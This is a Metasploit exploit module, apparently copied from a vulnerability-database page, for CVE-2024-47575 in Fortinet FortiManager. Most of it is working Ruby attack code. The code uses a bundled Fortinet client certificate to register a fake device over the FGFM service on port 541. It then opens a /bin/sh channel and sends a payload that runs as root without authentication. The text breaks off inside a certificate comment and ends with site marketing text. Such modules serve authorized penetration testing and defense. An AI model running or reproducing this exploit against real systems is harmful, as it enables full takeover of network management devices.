##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiManager Unauthenticated RCE',
'Description' => %q{
This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager
Cloud devices to achieve unauthenticated RCE with root privileges.
The vulnerable FortiManager versions are:
* 7.6.0
* 7.4.0 through 7.4.4
* 7.2.0 through 7.2.7
* 7.0.0 through 7.0.12
* 6.4.0 through 6.4.14
* 6.2.0 through 6.2.12
The vulnerable FortiManager Cloud versions are:
* 7.4.1 through 7.4.4
* 7.2.1 through 7.2.7
* 7.0.1 through 7.0.12
* 6.4 (all versions).
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2024-47575'],
# AttackerKB Rapid7 Analysis.
['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'],
# Bishop Fox details certificate requirements for connecting to the FGFM service.
['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'],
# Vendor Advisory.
['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423']
],
'DisclosureDate' => '2024-10-23',
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'Privileged' => true, # Code execution as 'root'
'DefaultOptions' => {
'RPORT' => 541,
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/tmp'
},
'Targets' => [ [ 'Default', {} ] ],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
# The exploit provides a suitable client certificate/key pair by default, however we can let a user configure
# a different certificate/key pair to use if they want. The user can also override the serial number and
# platform if needed, but the exploit will try to detect the serial number and platform from the certificate
# by default.
OptPath.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN']),
OptPath.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.']),
OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.']),
OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.'])
]
)
end
def check
fgfm_sock = make_socket
peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert)
fgfm_sock.close
organization = get_cert_subject_item(peer_cert, 'O')
common_name = get_cert_subject_item(peer_cert, 'CN')
# Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using.
# We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial
# number identifier.
return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG')
CheckCode::Unknown
end
def exploit
client_cert_raw = datastore['ClientCert'] ? File.binread(datastore['ClientCert']) : get_client_cert
client_cert = OpenSSL::X509::Certificate.new(client_cert_raw)
common_name = get_cert_subject_item(client_cert, 'CN')
fail_with(Failure::BadConfig, 'No common name in client certificate subject') unless common_name
print_status("Client certificate common name: #{common_name}")
serial_number = 'FMG-VM0000000000'
platform = 'FortiManager-VM64'
# The platform needs to be the expected type of the corresponding serial number. We try to match these up here,
# and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options
# in case it is needed.
if common_name.start_with? 'FMG'
serial_number = common_name
platform = 'FortiManager-VM64'
elsif common_name.start_with? 'FG'
serial_number = common_name
platform = 'FortiGate-VM64'
else
print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.')
end
serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber']
platform = datastore['ClientPlatform'] if datastore['ClientPlatform']
print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.")
print_status('Connecting...')
fgfm_sock = make_socket
fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock
print_status('Registering device...')
req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00"
resp1 = send_packet(fgfm_sock, req1)
unless resp1&.include?('reply 200')
fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.')
end
print_status('Creating channel...')
req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00"
resp2 = send_packet(fgfm_sock, req2)
unless resp2&.include?('action=ack')
fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.')
end
localid = resp2.match(/localid=(\d+)/)
unless localid
fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.')
end
print_status('Triggering...')
req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n"
send_packet(fgfm_sock, req3, read: false)
end
# We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may
# either be a file path, or a blob of text.
def make_socket
hash = {
'Proto' => 'tcp',
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'SSL' => true,
'SSLVerifyMode' => 'NONE',
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
}
hash['SSLClientCert'] = datastore['ClientCert'] if datastore['ClientCert']
hash['SSLClientKey'] = datastore['ClientKey'] if datastore['ClientKey']
params = Rex::Socket::Parameters.from_hash(hash)
params.ssl_client_cert = get_client_cert unless datastore['ClientCert']
params.ssl_client_key = get_client_key unless datastore['ClientKey']
fgfm_sock = Rex::Socket::Tcp.create_param(params)
# Register our new socket, so that abort_sockets will close this socket after the payload handler
# has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout
# in the exploit method, before we manually close the socket and then try to catch the session. We want to keep
# the socket open until we have a session, as closing the socket too quickly can prevent the payload command
# we transmit over the FGFM channel on this socket from executing.
add_socket(fgfm_sock)
fgfm_sock
end
def send_packet(fgfm_sock, data, read: true)
packet = [0x36E01100, data.length + 8].pack('NN')
packet += data
fgfm_sock.write(packet)
return nil unless read
header = fgfm_sock.read(8)
unless header
print_error('Failed to read an FGFM header')
return nil
end
magic, len = header.unpack('NN')
unless magic == 0x36E01100
print_error('Bad magic value in FGFM header')
return nil
end
unless len >= 8
print_error('Bad length value in FGFM header')
return nil
end
fgfm_sock.read(len - 8)
end
def get_cert_subject_item(cert, type)
cert.subject.to_a.each do |item|
return item[1] if item[0] == type
end
nil
end
=begin
An x509 certificate from an unregistered FortiManager trial VM, located at /etc/cert/local/ on the device, with a
serial number of FMG-VM0000000000 and a platform of FortiManager-VM64.
$ sha1sum Fortinet_Local2.cer
9fad50dace25e68694e028f628282b1194ec58a1 Fortinet_Local2.cer
$ sha1sum Fortinet_Local2.key
d006e298df00450973e22c74726404d841db9874 Fortinet_Local2.key
$ openssl x509 -noout -text -in Fortinet_Local2.cer
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 405822 (0x6313e)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = [email protected]
Validity
Not Before: Nov 10 21:14:26 2017 GMT
Not After : Jan 19 03:14:07 2038 GMT
Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = [email protected]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation